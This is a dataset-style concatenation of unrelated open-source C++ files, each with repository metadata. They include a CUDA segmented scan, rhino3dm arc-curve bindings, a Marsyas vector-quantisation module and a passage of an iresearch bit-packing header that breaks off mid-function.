/// @file RunStatisticsPrinter.hpp /// @brief /// @author S. V. Paulauskas /// @date March 07, 2020 #ifndef PIXIE_NET_RUNSTATISTICSPRINTER_HPP #define PIXIE_NET_RUNSTATISTICSPRINTER_HPP #include <string> #include "RunStatistics.hpp" class RunStatisticsPrinter { public: std::string format_stats_as_json(const RunStatistics &stats); private: std::string format_channel_for_json(const unsigned int &channel, const RunStatistics &stats) const; }; #endif //PIXIE_NET_RUNSTATISTICSPRINTER_HPP
23.904762
103
0.782869
pixie-net
ded3f7fc64248aaeb909082e29f4a4babab030dd
1,439
cpp
C++
src/reduction/cuda_segmented_scan.cpp
zakimjz/GPU_graph_mining
22ba73bea97533ed6b2af613bd263ef4d869e71a
[ "Apache-2.0" ]
2
2020-05-13T09:09:50.000Z
2021-07-16T12:51:53.000Z
src/reduction/cuda_segmented_scan.cpp
zakimjz/GPU_graph_mining
22ba73bea97533ed6b2af613bd263ef4d869e71a
[ "Apache-2.0" ]
null
null
null
src/reduction/cuda_segmented_scan.cpp
zakimjz/GPU_graph_mining
22ba73bea97533ed6b2af613bd263ef4d869e71a
[ "Apache-2.0" ]
1
2022-03-22T01:15:33.000Z
2022-03-22T01:15:33.000Z
#include <cuda_segmented_scan.hpp> #include <scangen.cu> //#include <segscanpacked.cu> cuda_segmented_scan::cuda_segmented_scan() { } cuda_segmented_scan::~cuda_segmented_scan() { } void cuda_segmented_scan::scan(uint *d_packed_array, int count, reduce_type_t inclusive) { KernelParams reduce_kernel_params = { PACKED_NUM_THREADS, PACKED_VALUES_PER_THREAD, PACKED_BLOCKS_PER_SM, "SegScanUpsweepPacked", "SegScanReduction", "SegScanDownsweepPacked" }; SetBlockRanges(reduce_kernel_params, count); copy_ranges_to_device(); CUDA_EXEC(cudaMemset(blockScanMem, 0, blockScanMem_size * sizeof(uint)), *logger); if(ranges_vec.size() > 1) { SegScanUpsweepPacked<<< ranges_vec.size() - 1, PACKED_NUM_THREADS >>>(d_packed_array, blockScanMem, headFlagsMem, ranges); CUDA_EXEC(cudaDeviceSynchronize(), *logger); SegScanReduction<<< 1, REDUCTION_NUM_THREADS >>>(headFlagsMem, blockScanMem, ranges_vec.size()); CUDA_EXEC(cudaDeviceSynchronize(), *logger); } SegScanDownsweepPacked<<< ranges_vec.size(), PACKED_NUM_THREADS >>>(d_packed_array, d_packed_array, blockScanMem, ranges, count, inclusive); CUDA_EXEC(cudaDeviceSynchronize(), *logger); cudaError_t err = cudaGetLastError(); if(err != cudaSuccess) { CRITICAL_ERROR(*Logger::get_logger("CUDA_PP"), "error while executing kernel ; error: " << err << "; string: " << cudaGetErrorString(err)); abort(); } }
25.696429
143
0.733148
zakimjz
deddaa5f897b59953aab13c08c8174c32390374e
1,096
cpp
C++
05.Purity-avoding-mutable-state/5.6-calculating-the-coordinates-of-the-neighboring-cell.cpp
Haceau-Zoac/Functional-Programming-in-C-
f3130d9faaaed2e3d5358f74341e4349f337d592
[ "MIT" ]
null
null
null
05.Purity-avoding-mutable-state/5.6-calculating-the-coordinates-of-the-neighboring-cell.cpp
Haceau-Zoac/Functional-Programming-in-C-
f3130d9faaaed2e3d5358f74341e4349f337d592
[ "MIT" ]
null
null
null
05.Purity-avoding-mutable-state/5.6-calculating-the-coordinates-of-the-neighboring-cell.cpp
Haceau-Zoac/Functional-Programming-in-C-
f3130d9faaaed2e3d5358f74341e4349f337d592
[ "MIT" ]
null
null
null
enum direction_t { Left, Right, Up, Down }; class position_t { public: position_t(position_t const& original, direction_t direction); int x; int y; }; class maze_t { public: auto is_wall(position_t) const -> bool; }; auto next_position(direction_t direction, position_t const& previous_position, maze_t const& maze) -> position_t { position_t const desired_position{ previous_position, direction }; return maze.is_wall(desired_position) ? previous_position : desired_position; } position_t::position_t(position_t const& original, direction_t direction) // Uses the ternary operator to match against the possible direction values // and initialize the correct values of x and y. You could also use a switch // statement in the body of the constructor. : x{ direction == Left ? original.x - 1 : direction == Right ? original.x + 1 : original.x } , y{ direction == Up ? original.y + 1 : direction == Down ? original.y - 1 : original.y } {}
28.102564
98
0.642336
Haceau-Zoac
dedf7c03d1c65efbcaa565d8e992e67eb126a424
3,491
cpp
C++
src/bindings/bnd_arccurve.cpp
lukegehron/rhino3dm
0e124084f7397f72aa82e499124a9232497573f0
[ "MIT" ]
343
2018-10-17T07:36:55.000Z
2022-03-31T08:18:36.000Z
src/bindings/bnd_arccurve.cpp
iintrigued/rhino3dm
aa3cffaf66a22883de64b4bc096d554341c1ce39
[ "MIT" ]
187
2018-10-18T23:07:44.000Z
2022-03-24T02:05:00.000Z
src/bindings/bnd_arccurve.cpp
iintrigued/rhino3dm
aa3cffaf66a22883de64b4bc096d554341c1ce39
[ "MIT" ]
115
2018-10-18T01:17:20.000Z
2022-03-31T16:43:58.000Z
#include "bindings.h" BND_ArcCurve::BND_ArcCurve() { SetTrackedPointer(new ON_ArcCurve(), nullptr); } BND_ArcCurve::BND_ArcCurve(ON_ArcCurve* arccurve, const ON_ModelComponentReference* compref) { SetTrackedPointer(arccurve, compref); } BND_ArcCurve::BND_ArcCurve(const BND_ArcCurve& other) { ON_ArcCurve* ac = new ON_ArcCurve(*other.m_arccurve); SetTrackedPointer(ac, nullptr); } BND_ArcCurve::BND_ArcCurve(const BND_Arc& arc) { ON_ArcCurve* ac = new ON_ArcCurve(arc.m_arc); SetTrackedPointer(ac, nullptr); } BND_ArcCurve::BND_ArcCurve(const BND_Arc& arc, double t0, double t1) { ON_ArcCurve* ac = new ON_ArcCurve(arc.m_arc, t0, t1); SetTrackedPointer(ac, nullptr); } BND_ArcCurve::BND_ArcCurve(const BND_Circle& circle) { ON_ArcCurve* ac = new ON_ArcCurve(circle.m_circle); SetTrackedPointer(ac, nullptr); } BND_ArcCurve::BND_ArcCurve(const BND_Circle& circle, double t0, double t1) { ON_ArcCurve* ac = new ON_ArcCurve(circle.m_circle, t0, t1); SetTrackedPointer(ac, nullptr); } BND_Arc* BND_ArcCurve::GetArc() const { return new BND_Arc(m_arccurve->m_arc); } void BND_ArcCurve::SetTrackedPointer(ON_ArcCurve* arccurve, const ON_ModelComponentReference* compref) { m_arccurve = arccurve; BND_Curve::SetTrackedPointer(arccurve, compref); } #if defined(ON_PYTHON_COMPILE) namespace py = pybind11; void initArcCurveBindings(pybind11::module& m) { py::class_<BND_ArcCurve, BND_Curve>(m, "ArcCurve") .def(py::init<>()) .def(py::init<const BND_ArcCurve&>(), py::arg("other")) .def(py::init<const BND_Arc&>(), py::arg("arc")) .def(py::init<const BND_Arc, double, double>(), py::arg("arc"), py::arg("t0"), py::arg("t1")) .def(py::init<const BND_Circle&>(), py::arg("circle")) .def(py::init<const BND_Circle&, double, double>(), py::arg("circle"), py::arg("t0"), py::arg("t1")) .def_property_readonly("Arc", &BND_ArcCurve::GetArc) .def_property_readonly("IsCompleteCircle", &BND_ArcCurve::IsCompleteCircle) .def_property_readonly("Radius", &BND_ArcCurve::GetRadius) .def_property_readonly("AngleRadians", &BND_ArcCurve::AngleRadians) .def_property_readonly("AngleDegrees", &BND_ArcCurve::AngleDegrees) ; } #endif #if defined(ON_WASM_COMPILE) using namespace emscripten; static BND_ArcCurve* JsConstructFromArc(const BND_Arc& arc) { return new BND_ArcCurve(arc); } static BND_ArcCurve* JsConstructFromArc2(const BND_Arc& arc, double t0, double t1) { return new BND_ArcCurve(arc, t0, t1); } static BND_ArcCurve* JsConstructFromCircle(const BND_Circle& c) { return new BND_ArcCurve(c); } static BND_ArcCurve* JsConstructFromCircle2(const BND_Circle& c, double t0, double t1) { return new BND_ArcCurve(c, t0, t1); } void initArcCurveBindings(void*) { class_<BND_ArcCurve, base<BND_Curve>>("ArcCurve") .constructor<>() .constructor<const BND_Arc&>() .class_function("createFromArc", &JsConstructFromArc, allow_raw_pointers()) .class_function("createFromArc", &JsConstructFromArc2, allow_raw_pointers()) .class_function("createFromCircle", &JsConstructFromCircle, allow_raw_pointers()) .class_function("createFromCircle", &JsConstructFromCircle2, allow_raw_pointers()) //.property("arc", &BND_ArcCurve::GetArc, allow_raw_pointers()) .property("isCompleteCircle", &BND_ArcCurve::IsCompleteCircle) .property("radius", &BND_ArcCurve::GetRadius) .property("angleRadians", &BND_ArcCurve::AngleRadians) .property("angleDegrees", &BND_ArcCurve::AngleDegrees) ; } #endif
35.989691
126
0.741335
lukegehron
dee2cd3b6100c754c56c40c94f9d272e4beb7bf7
2,305
hpp
C++
MuleUtilities/asset/include/mule/asset/FileReader.hpp
Godlike/Mule
3601d3e063aa2a0a1bbf7289e97bdeb5e5899589
[ "MIT" ]
null
null
null
MuleUtilities/asset/include/mule/asset/FileReader.hpp
Godlike/Mule
3601d3e063aa2a0a1bbf7289e97bdeb5e5899589
[ "MIT" ]
9
2018-02-01T03:59:06.000Z
2018-12-17T04:07:16.000Z
MuleUtilities/asset/include/mule/asset/FileReader.hpp
Godlike/Mule
3601d3e063aa2a0a1bbf7289e97bdeb5e5899589
[ "MIT" ]
null
null
null
/* * Copyright (C) 2018 by Godlike * This code is licensed under the MIT license (MIT) * (http://opensource.org/licenses/MIT) */ #ifndef MULE_ASSET_FILE_READER_HPP #define MULE_ASSET_FILE_READER_HPP #include <cstdint> #include <string> #include <vector> namespace mule { namespace asset { /** @brief Provides lazy access to file content * * File contents are loaded only when needed */ class FileReader { public: /** @brief Bit flags describing the state of FileReader */ struct Flags { //! File was not accessed static const uint8_t uninitialized = 0b00000000; //! File was accessed static const uint8_t accessed = 0b00000001; //! File was read to the end static const uint8_t eof = 0b00000010; //! Bit mask describing a good state static const uint8_t ok = accessed | eof; //! Error encountered while reading file static const uint8_t error = 0b00000100; }; /** @brief Constructs an object * * @param path path to be used for file access */ FileReader(char const* path); ~FileReader() = default; /** @brief Checks if file was successfully read * * Reads the file if it was not yet read * * @return @c true if @ref m_flags is Flags::ok */ bool IsGood(); /** @brief Returns the path used by FileReader */ std::string const& GetPath() const { return m_path; } /** @brief Returns file contents * * Reads the file if it was not yet read * * @return const reference to a buffer with file contents */ std::vector<uint8_t> const& GetContent(); /** @brief Returns moved file contents * * Sets @ref m_flags value to Flags::uninitialized * * @return moved buffer with file contents */ std::vector<uint8_t> MoveContent(); private: /** @brief Represents lazy access file reading routine * * Checks if @ref m_flags is Flags::uninitialized and loads * file contents if it is. */ void LazyAccess(); //! Describes FileReader state uint8_t m_flags; //! Path to the file std::string m_path; //! Buffer with file contents std::vector<uint8_t> m_buffer; }; } } #endif // MULE_ASSET_FILE_READER_HPP
22.821782
64
0.631236
Godlike
dee2ce9ce1d3180265ca0f27eb2344e82eb0a457
57
cc
C++
DataFormats/FTLDigi/src/FTLDataFrameT.cc
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
852
2015-01-11T21:03:51.000Z
2022-03-25T21:14:00.000Z
DataFormats/FTLDigi/src/FTLDataFrameT.cc
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
30,371
2015-01-02T00:14:40.000Z
2022-03-31T23:26:05.000Z
DataFormats/FTLDigi/src/FTLDataFrameT.cc
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
3,240
2015-01-02T05:53:18.000Z
2022-03-31T17:24:21.000Z
#include "DataFormats/FTLDigi/interface/FTLDataFrameT.h"
28.5
56
0.842105
ckamtsikis
dee3f0045a43b3e913cb822a5f7d034ba4260f5a
323
hpp
C++
src/core/tests/runtime/ie/ie_backend_visibility.hpp
ytorzuk-altran/openvino
68d460a3bb578a738ba0e4d0e1f2e321afa73ab0
[ "Apache-2.0" ]
1
2021-12-03T06:03:15.000Z
2021-12-03T06:03:15.000Z
ngraph/test/runtime/ie/ie_backend_visibility.hpp
thomas-yanxin/openvino
031e998a15ec738c64cc2379d7f30fb73087c272
[ "Apache-2.0" ]
48
2020-11-20T10:24:33.000Z
2022-03-30T17:46:48.000Z
ngraph/test/runtime/ie/ie_backend_visibility.hpp
thomas-yanxin/openvino
031e998a15ec738c64cc2379d7f30fb73087c272
[ "Apache-2.0" ]
4
2021-09-29T20:44:49.000Z
2021-10-20T13:02:12.000Z
// Copyright (C) 2018-2021 Intel Corporation // SPDX-License-Identifier: Apache-2.0 // #include "ngraph/visibility.hpp" #ifdef ie_backend_EXPORTS // defined if we are building the ie_backend as shared library # define IE_BACKEND_API OPENVINO_CORE_EXPORTS #else # define IE_BACKEND_API OPENVINO_CORE_IMPORTS #endif
26.916667
89
0.783282
ytorzuk-altran
dee63d1b372e3665741e501e2311d8809a5ddbef
1,318
hpp
C++
src/PhysicsSystem.hpp
benzap/Kampf
9cf4fb0d6ec22bc35ade9b476d29df34902c6689
[ "Zlib" ]
2
2018-05-13T05:27:29.000Z
2018-05-29T06:35:57.000Z
src/PhysicsSystem.hpp
benzap/Kampf
9cf4fb0d6ec22bc35ade9b476d29df34902c6689
[ "Zlib" ]
null
null
null
src/PhysicsSystem.hpp
benzap/Kampf
9cf4fb0d6ec22bc35ade9b476d29df34902c6689
[ "Zlib" ]
null
null
null
#ifndef PHYSICSSYSTEM__HPP #define PHYSICSSYSTEM__HPP //DESCRIPTION /* System used to deal with physics components and handle the per frame changes of entities. Interactions between entities is handled by the collision system. */ //INCLUDES #include <vector> #include <algorithm> #include <SDL2/SDL.h> #include "KF_math.hpp" #include "AbstractSystem.hpp" #include "EntityManager.hpp" #include "Messenger.hpp" #include "Message.hpp" #include "physics/KF_physics.hpp" //CLASSES class PhysicsSystem; //DEFINITIONS //MACROS //TYPEDEFS //FUNCTIONS //BEGIN class PhysicsSystem : public AbstractSystem { private: timeType previousTime = SDL_GetTicks(); timeType currentTime = 0; std::vector<AbstractForceGenerator*> generatorContainer; public: PhysicsSystem(); virtual ~PhysicsSystem(); //Generator methods void addForceGenerator(AbstractForceGenerator* generator); void removeForceGenerator(AbstractForceGenerator* gen); void removeForceGenerator(stringType generatorName); AbstractForceGenerator* getForceGenerator(stringType generatorName); boolType hasForceGenerator(stringType generatorName); const std::vector<AbstractForceGenerator*>& getForceGeneratorContainer(); void createMessages(); void process(); }; #endif //END PHYSICSSYSTEM__HPP
22.724138
77
0.764795
benzap
deec7f28da5171ff13a977de2bc27671736bbeaa
571
cpp
C++
aoc2015/aoc151001.cpp
jiayuehua/adventOfCode
fd47ddefd286fe94db204a9850110f8d1d74d15b
[ "Unlicense" ]
null
null
null
aoc2015/aoc151001.cpp
jiayuehua/adventOfCode
fd47ddefd286fe94db204a9850110f8d1d74d15b
[ "Unlicense" ]
null
null
null
aoc2015/aoc151001.cpp
jiayuehua/adventOfCode
fd47ddefd286fe94db204a9850110f8d1d74d15b
[ "Unlicense" ]
null
null
null
#include <fstream> #include <sstream> #include <iostream> #include <iomanip> #include <fmt/format.h> #include <string> #include <iomanip> int main(int argc, char **argv) { std::string sa("1113222113"); std::string sr; std::string sb; for (int i = 0; i < 50; ++i) { for (auto it = sa.begin(), end = sa.begin(); it != sa.end(); it = end) { char c = *it; end = std::find_if(it, sa.end(), [c](char e) { return e != c; }); sb += std::to_string(end - it); sb += c; } sa = std::exchange(sb, ""); } fmt::print("{}", sa.size()); }
22.84
76
0.539405
jiayuehua
def38bf45be159dec1481769db71fda69e44eff8
3,056
cpp
C++
RLSimion/CNTKWrapper/cntk-wrapper.cpp
utercero/SimionZoo
1fa570ae88f5d7e88e13a67ec27cda2de820ffee
[ "Zlib" ]
30
2019-02-20T19:33:15.000Z
2020-03-26T13:46:51.000Z
RLSimion/CNTKWrapper/cntk-wrapper.cpp
utercero/SimionZoo
1fa570ae88f5d7e88e13a67ec27cda2de820ffee
[ "Zlib" ]
52
2018-02-28T17:16:37.000Z
2019-02-15T18:26:21.000Z
RLSimion/CNTKWrapper/cntk-wrapper.cpp
borjafdezgauna/SimionZoo
42dd3106d60077bea7e6b64b9f25c3268adc3be8
[ "Zlib" ]
25
2019-02-20T19:30:52.000Z
2022-01-01T03:15:21.000Z
/* SimionZoo: A framework for online model-free Reinforcement Learning on continuous control problems Copyright (c) 2016 SimionSoft. https://github.com/simionsoft Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "cntk-network.h" #include "cntk-wrapper.h" #define EXPORT comment(linker, "/EXPORT:" __FUNCTION__ "=" __FUNCDNAME__) void CNTKWrapper::setDevice(bool useGPU) { #pragma EXPORT if (useGPU) CNTK::DeviceDescriptor::TrySetDefaultDevice(CNTK::DeviceDescriptor::GPUDevice(0)); else CNTK::DeviceDescriptor::TrySetDefaultDevice(CNTK::DeviceDescriptor::CPUDevice()); } IDiscreteQFunctionNetwork* CNTKWrapper::getDiscreteQFunctionNetwork(vector<string> inputStateVariables, size_t numActionSteps , string networkLayersDefinition, string learnerDefinition, bool useNormalization) { #pragma EXPORT return new CntkDiscreteQFunctionNetwork(inputStateVariables, numActionSteps, networkLayersDefinition, learnerDefinition, useNormalization); } IContinuousQFunctionNetwork* CNTKWrapper::getContinuousQFunctionNetwork(vector<string> inputStateVariables, vector<string> inputActionVariables , string networkLayersDefinition, string learnerDefinition, bool useNormalization) { #pragma EXPORT return new CntkContinuousQFunctionNetwork(inputStateVariables, inputActionVariables, networkLayersDefinition, learnerDefinition, useNormalization); } IVFunctionNetwork* CNTKWrapper::getVFunctionNetwork(vector<string> inputStateVariables, string networkLayersDefinition, string learnerDefinition, bool useNormalization) { #pragma EXPORT return new CntkVFunctionNetwork(inputStateVariables, networkLayersDefinition, learnerDefinition, useNormalization); } IDeterministicPolicyNetwork* CNTKWrapper::getDeterministicPolicyNetwork(vector<string> inputStateVariables, vector<string> outputActionVariables, string networkLayersDefinition, string learnerDefinition, bool useNormalization) { #pragma EXPORT return new CntkDeterministicPolicyNetwork(inputStateVariables, outputActionVariables, networkLayersDefinition, learnerDefinition, useNormalization); }
47.75
226
0.829843
utercero
def7f729a001893eeecfe957d3b8dd36f6f156a3
94
hpp
C++
aa/aa_tools.hpp
salleaffaire/lmolly
62012a7219035bee90b9ad3f2b49625e09b0c206
[ "MIT" ]
null
null
null
aa/aa_tools.hpp
salleaffaire/lmolly
62012a7219035bee90b9ad3f2b49625e09b0c206
[ "MIT" ]
null
null
null
aa/aa_tools.hpp
salleaffaire/lmolly
62012a7219035bee90b9ad3f2b49625e09b0c206
[ "MIT" ]
null
null
null
#ifndef AA_TOOLS_HPP___ #define AA_TOOLS_HPP___ #include <iostream> #include <mutex> #endif
11.75
23
0.787234
salleaffaire
7200ed8a6c85187a158c000143c071800b4438e1
4,900
cpp
C++
marsyas-vamp/marsyas/src/marsyas/marsystems/AimVQ.cpp
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
marsyas-vamp/marsyas/src/marsyas/marsystems/AimVQ.cpp
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
marsyas-vamp/marsyas/src/marsyas/marsystems/AimVQ.cpp
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
/* ** Copyright (C) 1998-2011 George Tzanetakis <gtzan@cs.uvic.ca> ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "../common_source.h" #include "AimVQ.h" #ifdef MARSYAS_ANN #include "ANN.h" #include "static_vq_codebook.h" #endif using std::ostringstream; using namespace Marsyas; AimVQ::AimVQ(mrs_string name):MarSystem("AimVQ",name) { is_initialized = false; addControls(); } AimVQ::AimVQ(const AimVQ& a): MarSystem(a) { is_initialized = false; ctrl_kd_tree_bucket_size_ = getctrl("mrs_natural/kd_tree_bucket_size"); ctrl_kd_tree_error_bound_ = getctrl("mrs_real/kd_tree_error_bound"); ctrl_num_codewords_to_return_ = getctrl("mrs_natural/num_codewords_to_return"); } AimVQ::~AimVQ() { } MarSystem* AimVQ::clone() const { return new AimVQ(*this); } void AimVQ::addControls() { addControl("mrs_natural/kd_tree_bucket_size", 50 , ctrl_kd_tree_bucket_size_); addControl("mrs_real/kd_tree_error_bound", 1.0 , ctrl_kd_tree_error_bound_); addControl("mrs_natural/num_codewords_to_return", 1 , ctrl_num_codewords_to_return_); } void AimVQ::myUpdate(MarControlPtr sender) { (void) sender; //suppress warning of unused parameter(s) MRSDIAG("AimVQ.cpp - AimVQ:myUpdate"); ctrl_onSamples_->setValue(1, NOUPDATE); #ifdef MARSYAS_ANN ctrl_onObservations_->setValue(static_array_num_codebooks * static_array_num_codewords, NOUPDATE); #endif ctrl_osrate_->setValue(ctrl_israte_, NOUPDATE); ostringstream oss; for (int i =0; i < ctrl_onObservations_->to<mrs_natural>(); ++i) oss << "attribute,"; //ctrl_onObsNames_->setValue("AimVQ_" + ctrl_inObsNames_->to<mrs_string>() , NOUPDATE); ctrl_onObsNames_->setValue(oss.str(), NOUPDATE); // // Does the MarSystem need initialization? // if (!is_initialized) { InitializeInternal(); is_initialized = true; } } void AimVQ::InitializeInternal() { #ifdef MARSYAS_ANN codebooks_count_ = static_array_num_codebooks; // Your value here codeword_count_ = static_array_num_codewords; // Your value here codeword_length_ = static_array_codeword_length; // Your value here // Fill the ANN points arrays with the codebooks for (int i = 0; i < codebooks_count_; ++i) { ANNpointArray points = annAllocPts(codeword_count_,codeword_length_); // The points arrays are stored here for later deallocation codebooks_.push_back(points); int index = 0; for (int j = 0; j < codeword_count_; ++j) { for (int k = 0; k < codeword_length_; ++k) { (*points)[index] = static_vq_array[i][j][k]; // take the value from your array here ++index; } } ANNkd_tree* kd_tree = new ANNkd_tree(points, codeword_count_, codeword_length_, ctrl_kd_tree_bucket_size_->to<mrs_natural>()); sparse_coder_trees_.push_back(kd_tree); } #endif } void AimVQ::myProcess(realvec& in, realvec& out) { // cout << "AimVQ::myProcess" << endl; (void) in; // avoid unused parameter warning when MARSYAS_ANN is not enabled // Zero out the output first for (int i = 0; i < onObservations_; ++i) { out(i,0) = 0.0; } #ifdef MARSYAS_ANN mrs_natural _num_codewords_to_return = ctrl_num_codewords_to_return_->to<mrs_natural>(); mrs_real _kd_tree_error_bound = ctrl_kd_tree_error_bound_->to<mrs_real>(); vector<int> sparse_code; int offset = 0; realvec obsRow; for (int i = 0; i < codebooks_count_; ++i) { in.getRow(i,obsRow); ANNidxArray indices = new ANNidx[_num_codewords_to_return]; ANNdistArray distances = new ANNdist[_num_codewords_to_return]; sparse_coder_trees_[i]->annkSearch(obsRow.getData(), _num_codewords_to_return, indices, distances, _kd_tree_error_bound); for (int j = 0; j < _num_codewords_to_return; ++j) { sparse_code.push_back(indices[j] + offset); } offset += codeword_count_; delete indices; delete distances; } for (unsigned int j = 0; j < sparse_code.size(); ++j) { out(sparse_code[j],0) = 1.0; } #endif }
28.994083
100
0.67898
jaouahbi
7206b81f6cf3a4c5f69f020f3bf4b01747102377
1,173
cpp
C++
Array/easy/414_Third_Maximum_Number/ThirdMaxNumber.cpp
quq99/Leetcode_notes
eb3bee5ed161a0feb4ce1d48b682c000c95b4be3
[ "MIT" ]
1
2019-05-16T23:18:17.000Z
2019-05-16T23:18:17.000Z
Array/easy/414_Third_Maximum_Number/ThirdMaxNumber.cpp
quq99/Leetcode_notes
eb3bee5ed161a0feb4ce1d48b682c000c95b4be3
[ "MIT" ]
null
null
null
Array/easy/414_Third_Maximum_Number/ThirdMaxNumber.cpp
quq99/Leetcode_notes
eb3bee5ed161a0feb4ce1d48b682c000c95b4be3
[ "MIT" ]
null
null
null
// ThirdMaxNumber.cpp #include<vector> using std::vector; class ThirdMaxNumber { public: int thirdMax(vector<int>& nums) { int first = INT_MIN; int second = first; int third = second; int count = 0; bool once = true; for (int i = 0; i < nums.size(); ++i) { // [1, 2, INT_MIN, INT_MIN] if (nums[i] == INT_MIN && once) { count++; once = false; } if (nums[i]==first || nums[i]==second) continue; if (nums[i] > first) { third = second; second = first; first = nums[i]; count++; } else if (nums[i] > second) { third = second; second = nums[i]; count++; } else if (nums[i] > third) { third = nums[i]; count++; } } if (count < 3) return first; else return third; } };
27.27907
64
0.351236
quq99
720bc63f6db2bc66bc41ab14f5f82b0035a24eca
1,711
cpp
C++
Assignment 3/Assignment 3/StudentEmployee.cpp
justin-harper/cs122
83949bc097cf052ffe6b8bd82002377af4d9cede
[ "MIT" ]
null
null
null
Assignment 3/Assignment 3/StudentEmployee.cpp
justin-harper/cs122
83949bc097cf052ffe6b8bd82002377af4d9cede
[ "MIT" ]
null
null
null
Assignment 3/Assignment 3/StudentEmployee.cpp
justin-harper/cs122
83949bc097cf052ffe6b8bd82002377af4d9cede
[ "MIT" ]
null
null
null
/* Assignment: 3 Description: Paycheck Calculator Author: Justin Harper WSU ID: 10696738 Completion Time: 8hrs In completing this program, I received help from the following people: myself version 1.0 I am happy with this version! */ #include "StudentEmployee.h" #include "Employee.h" #include <iostream> using namespace std; //constructor for the StudentEmployee class StudentEmployee::StudentEmployee(string name, int id, bool isWorking, int hrsWorked, bool workStudy, double wage) { setName(name); setEID(id); setStatus(isWorking); _hrsWorked = hrsWorked; _workStudy = workStudy; _wage = wage; } //StudentEmployee function to get the wage double StudentEmployee::getWage() const { return _wage; } //StudentEmployee function to set the wage void StudentEmployee::setWage(double wage) { _wage = wage; return; } //StudentEmployee function to get the hours worked int StudentEmployee::getHrsWorked() const { return _hrsWorked; } //StudentEmployee function to set the hours worked void StudentEmployee::setHrsWorked(int hrs) { _hrsWorked = hrs; return; } //StudentEmployee function to get the weekly pay double StudentEmployee::getWeeklyPay() const { return (_hrsWorked * _wage); } //StudentEmployee function to get the work study status bool StudentEmployee::isWorkStudy() const { return _workStudy; } //StudentEmployee function to set the work study status void StudentEmployee::setWorkStudy(bool ws) { _workStudy = ws; return; } //returns the string representaiton of a StudentEmployee object string StudentEmployee::toString() { string x = Employee::toString() + "\t" + to_string(_hrsWorked) + "\t" + boolstring(_workStudy) + "\t" + to_string(_wage); return x; }
18.397849
122
0.755114
justin-harper
720f18e0d69129ebaa192dbb61719c210937df35
9,610
hpp
C++
core/utils/bitpack.hpp
geenen124/iresearch
f89902a156619429f9e8df94bd7eea5a78579dbc
[ "Apache-2.0" ]
12,278
2015-01-29T17:11:33.000Z
2022-03-31T21:12:00.000Z
core/utils/bitpack.hpp
geenen124/iresearch
f89902a156619429f9e8df94bd7eea5a78579dbc
[ "Apache-2.0" ]
9,469
2015-01-30T05:33:07.000Z
2022-03-31T16:17:21.000Z
core/utils/bitpack.hpp
geenen124/iresearch
f89902a156619429f9e8df94bd7eea5a78579dbc
[ "Apache-2.0" ]
892
2015-01-29T16:26:19.000Z
2022-03-20T07:44:30.000Z
//////////////////////////////////////////////////////////////////////////////// /// DISCLAIMER /// /// Copyright 2021 ArangoDB GmbH, Cologne, Germany /// /// Licensed under the Apache License, Version 2.0 (the "License"); /// you may not use this file except in compliance with the License. /// You may obtain a copy of the License at /// /// http://www.apache.org/licenses/LICENSE-2.0 /// /// Unless required by applicable law or agreed to in writing, software /// distributed under the License is distributed on an "AS IS" BASIS, /// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. /// See the License for the specific language governing permissions and /// limitations under the License. /// /// Copyright holder is ArangoDB GmbH, Cologne, Germany /// /// @author Andrey Abramov //////////////////////////////////////////////////////////////////////////////// #ifndef IRESEARCH_BITPACK_H #define IRESEARCH_BITPACK_H #include "shared.hpp" #include "store/data_output.hpp" #include "store/data_input.hpp" #include "utils/simd_utils.hpp" namespace iresearch { // ---------------------------------------------------------------------------- // --SECTION-- bit packing encode/decode helpers // ---------------------------------------------------------------------------- // // Normal packed block has the following structure: // <BlockHeader> // </NumberOfBits> // </BlockHeader> // </PackedData> // // In case if all elements in a block are equal: // <BlockHeader> // <ALL_EQUAL> // </BlockHeader> // </PackedData> // // ---------------------------------------------------------------------------- namespace bitpack { constexpr uint32_t ALL_EQUAL = 0U; // returns true if one can use run length encoding for the specified numberof bits constexpr bool rl(const uint32_t bits) noexcept { return ALL_EQUAL == bits; } // skip block of the specified size that was previously // written with the corresponding 'write_block' function inline void skip_block32(index_input& in, uint32_t size) { assert(size); const uint32_t bits = in.read_byte(); if (ALL_EQUAL == bits) { in.read_vint(); } else { in.seek(in.file_pointer() + packed::bytes_required_32(size, bits)); } } // skip block of the specified size that was previously // written with the corresponding 'write_block' function inline void skip_block64(index_input& in, uint64_t size) { assert(size); const uint32_t bits = in.read_byte(); if (ALL_EQUAL == bits) { in.read_vlong(); } else { 